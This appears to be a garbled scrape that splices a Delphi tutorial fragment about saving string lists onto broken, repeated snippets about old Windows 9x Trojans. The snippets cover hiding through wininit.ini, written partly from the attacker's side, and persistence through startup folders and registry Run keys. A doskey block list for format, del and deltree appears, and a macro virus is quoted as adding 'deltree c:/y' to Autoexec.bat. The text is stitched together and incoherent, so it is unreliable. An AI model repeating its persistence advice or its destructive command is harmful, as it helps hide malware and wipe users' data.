3.1.2 Load, save string list The application can easily store a list of Delphi strings in a text file, or reload (or load another different list) from a text file, and a string list has a special way to handle such operations. Use the LoadFromFile method to load a list of strings from a file, loadfromfile to load each line of string into the list from a text file. Save the list in a file using the SaveToFile method, the parameter that passes the filename when used. If the file does not exist,

something on it, it can be said that it is very concealed and perfect! It is in the Windows directory of the system disk and opened in Notepad (sometimes wininit. hak file) you can see the corresponding content. Obviously, you can add the corresponding statement in it to modify the program or delete the program in the system. If it is a file-related Trojan, you can use winint. ini to delete the infected original file, so as to truly hide yourself! 5. DOS battles Finally, let's talk about loadin

Disable the specified doscommandThe basic principle of this method is to restrict dangerous DOS commands to prevent unauthorized use of these commands to destroy hard disk data. The specific method is as follows:Use NotePad to open the Autoexec file under the C root directory and add the following statement:C: \> doskey format = Bad command or filename!C: \> DOSKEY del = Bad command or filename!C: \> DOSKEY deltree = Bad command or filename!Then, save

program to delete the installation program, so don't underestimate it. If you do something on it, it can be said that it is very concealed and perfect!

Windows has recently been found on some personal home pages in China.

The anti-virus method is similar to

value and then delete the corresponding application. 2) Check the Startup Group Trojans hidden in the startup group are not very concealed, but they are indeed a good place to automatically load and run. Therefore, Trojans prefer to reside here. The folder corresponding to the Startup Group is C: windowsstart menuprogramsstartup, and the location in the registry is as follows: HKEY_CURRENT_USER/Software/MicrosoftWindows/Current Version/assumershell Folders Startup = "C: windowsstart menuprogram

. These areas are "startup items ", different systems provide different "Boot items". For Win9x, it provides at least five "Boot items": Autoexec in DOS environment. bat, Config. sys, the "Start" Program Group in Windows, two Run items in the registry, and one RunServices item, respectively: HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsC

and waiting for the intruder to connect. Prevent trojans from running-more thorough detection and removal Any operating system will automatically run some programs at startup to initialize the system environment or additional functions, these programs that are allowed to run following system startup are placed in special areas for loading and running during system startup. These areas are "startup items ", different systems provide different "Boot items". For Win9x, it provides at least five "B

One of the biggest features of a Trojan is that it must be started with the system, otherwise it will be completely meaningless !!!

However, this macro virus is added to the system Autoexec. bat file "deltree c:/y" and should not format the entire hard disk.
